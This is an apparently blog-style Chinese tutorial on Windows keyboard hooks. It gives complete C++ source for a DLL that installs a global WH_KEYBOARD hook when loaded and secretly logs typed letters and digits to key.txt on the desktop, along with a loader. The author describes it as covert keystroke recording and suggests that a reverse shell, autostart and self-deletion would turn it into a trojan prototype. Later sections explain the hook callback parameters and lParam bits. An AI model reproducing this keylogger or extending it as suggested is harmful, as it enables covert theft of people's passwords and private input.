键盘HOOK解析
键盘HOOK也可以是全局的或者仅仅是监控某一个线程。但是这种钩子比较典型。所以拎出来专门写了一篇。与全局钩子(特指WH_GETMESSAGE类型的钩子,这里称其为全局是因为它监控的是系统消息队列并不是说键盘钩子不能全局监控)一样,都是截获消息,只是键盘HOOK类型专门用于键盘消息的监控。看一下其类型的描述:
可以看到这里键盘钩子类型有两种,一种是WH_KEYBOARD还有一种是WH_KEYBOARD_LL。这两种钩子的区别是什么?
区别在于其回调函数。
1. WH_KEYBOARD类型的键盘钩子的回调函数截获消息是在GetMessage或PeekMessage函数获取到消息并且消息类型是WM_KEYDOWN或WM_KEYUP的时候。如下描述:
2. WH_KEYBOARD_LL的键盘猴子的回调函数截获消息则是在键盘输入消息传递到特定线程的输入队列的时候,此时也许并没有被消息循环分配出去。
两者用法非常相似,用法也与WH_GETMESSAGE的方式也一样,就是回调函数不同。这里以WH_KEYBOARD来举例。
先上代码:
// 下面是DLL部分
// KeyboardHook.cpp
#define KEYBOARDHOOK extern "C" __declspec(dllexport)
#include "KeyboardHook.h"
#include <ShlObj.h>
#include <cstdio>#pragma data_seg("hook")HHOOK g_hHook = NULL;HMODULE g_hModule = NULL;
#pragma data_seg()
#pragma comment(linker, "/SECTION:hook,RWS")BOOL g_bCapsLock = FALSE;
BOOL g_bShift = FALSE;BOOL SetKeyboardHook() {if (g_hHook == NULL) {g_hHook = SetWindowsHookEx(WH_KEYBOARD, KeyboardProc, g_hModule, 0);if (g_hHook == NULL)return(FALSE);elsereturn(TRUE);}return(TRUE);
}BOOL UnsetKeyboardHook() {BOOL bRet = FALSE;if (NULL != g_hHook) {bRet = UnhookWindowsHookEx(g_hHook);if (bRet)return(TRUE);elsereturn(FALSE);}return(TRUE);
}BOOL SaveFile(LPCTSTR pszFileName, LPCTSTR pBuffer) {DWORD dwSize = 0;HANDLE hFile = CreateFile(pszFileName, GENERIC_WRITE, 0, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);if (INVALID_HANDLE_VALUE == hFile)return(FALSE);SetFilePointer(hFile, 0, 0, FILE_END);WriteFile(hFile, pBuffer, _tcslen(pBuffer), &dwSize, NULL);CloseHandle(hFile);return(TRUE);
}LRESULT CALLBACK KeyboardProc(_In_ int code,_In_ WPARAM wParam,_In_ LPARAM lParam
) {TCHAR ch[20] = {0};TCHAR szPath[MAX_PATH] = {0};TCHAR szNewFile[MAX_PATH] = {0};if (((DWORD)lParam & 0x40000000) && (HC_ACTION == code)) {if (wParam == VK_ESCAPE)ch[0] = ' ';else if (wParam >= 0x30 && wParam <= 0x39)ch[0] = (char)wParam;else if (wParam >= 0x41 && wParam <= 0x5A) {if (GetKeyState(VK_CAPITAL) ^ GetKeyState(VK_SHIFT))ch[0] = (char)(wParam + 0x20);elsech[0] = (char)wParam;}else if (wParam == VK_RETURN)wsprintf(ch, "%s", "\r\n");SHGetSpecialFolderPath(NULL, szPath, CSIDL_DESKTOP, FALSE);_tcscpy_s(szNewFile, _countof(szNewFile) * sizeof(TCHAR), szPath);_tcscat_s(szNewFile, _countof(szNewFile) * sizeof(TCHAR), "\\key.txt");SaveFile(szNewFile, ch);}return(CallNextHookEx(g_hHook, code, wParam, lParam));
}// KeyboardHook.h
#ifndef _KEYBOARDHOOK_H_
#define _KEYBOARDHOOK_H_#include <windows.h>
#include <tchar.h>#ifdef KEYBOARDHOOK#else#define KEYBOARDHOOK extern "C" __declspec(dllimport)
#endifKEYBOARDHOOK BOOL SetKeyboardHook();KEYBOARDHOOK BOOL UnsetKeyboardHook();KEYBOARDHOOK LRESULT CALLBACK KeyboardProc(_In_ int code,_In_ WPARAM wParam,_In_ LPARAM lParam
);
#endif// DllMain.cpp
#include <windows.h>
#include <tchar.h>
#define KEYBOARDHOOK extern "C" __declspec(dllexport)
#include "KeyboardHook.h"extern HMODULE g_hModule;BOOL WINAPI DllMain(HINSTANCE hInst, DWORD fdwReason, LPVOID lpReserved) {switch (fdwReason) {case DLL_PROCESS_ATTACH:g_hModule = hInst;SetKeyboardHook();break;case DLL_PROCESS_DETACH:UnsetKeyboardHook();g_hModule = NULL;break;case DLL_THREAD_ATTACH:case DLL_THREAD_DETACH:break;}return(TRUE);
}// 测试代码
#include <windows.h>
#include <tchar.h>
#include <cstdio>
#define KEYBOARDHOOK extern "C" __declspec(dllexport)
#include "KeyboardHook.h"#pragma comment(lib, "KeyboardHook.lib")int _tmain() {HMODULE hDll = LoadLibrary("KeyboardHook.dll");if (NULL == hDll)return(-1);_tprintf("Load hook succeeded!\n");system("pause");_tprintf("Free hook succeeded!\n");FreeLibrary(hDll);system("pause");return(0);
}
该程序的目的是把键盘输入(大小写字母与数字)偷偷记录并保存到桌面名为key.txt的文档里。假设写上网络传输模块,比如以反弹shell的形式将获得信息传到某个服务器,再加上自启动,自删除之类的就是一个木马雏形了。解释一下几点:
1. 关于回调函数:
LRESULT CALLBACK KeyboardProc(_In_ int code,_In_ WPARAM wParam,_In_ LPARAM lParam
);
解释一下它的参数:
第一个code有两种,一种是HC_ACTION意思是有键盘消息来了,还有一种是HC_NOREMOVE意思是键盘消息还在消息队列里面并没有进入消息循环。一般都是HC_ACTION
第二个wParam参数在不同的Windows消息有不同的含义,这里意义是按键的虚拟键代码,通俗的讲就是ASCII码。
第三个lParam参数比较复杂,这里拿出MSDN然后慢慢解释
lParam一种有32为是一个双字。
0-15 即其中低16位是键盘按键重复次数,就是假设你短期内狂按某个键由于计算机处理速度不够,键盘消息会堆积在消息队列里等待,这里就是堆积的键盘消息数目。
16-23 是扫描码,无所谓。但如果你使用ToAscii之类的API来转换键盘消息那这个扫描码就有用了,不过无需关注
24 是否是拓展键, 该位为1代表是拓展键,0则不是
25-28 保留,无用
29 键盘上的Alt按键是否被按下,该位为1则表示按下否则没有
30 先前按键状态,如果你按下这个键之前这个键是没被按住的状态则是0,如果持续被按住(即之前也被按住)则是1
31 当前按键状态,现在被按下是1否则是0
2. 关于GetKeyState
这个API传入一个虚拟键代码,判断该键的当前状态,如果是控制键(比如Ctrl, Alt, Enter等无字符的键)被按下那其返回的一个16位USHORT值最低位为1,如果是字符键则最高位是1。
(完)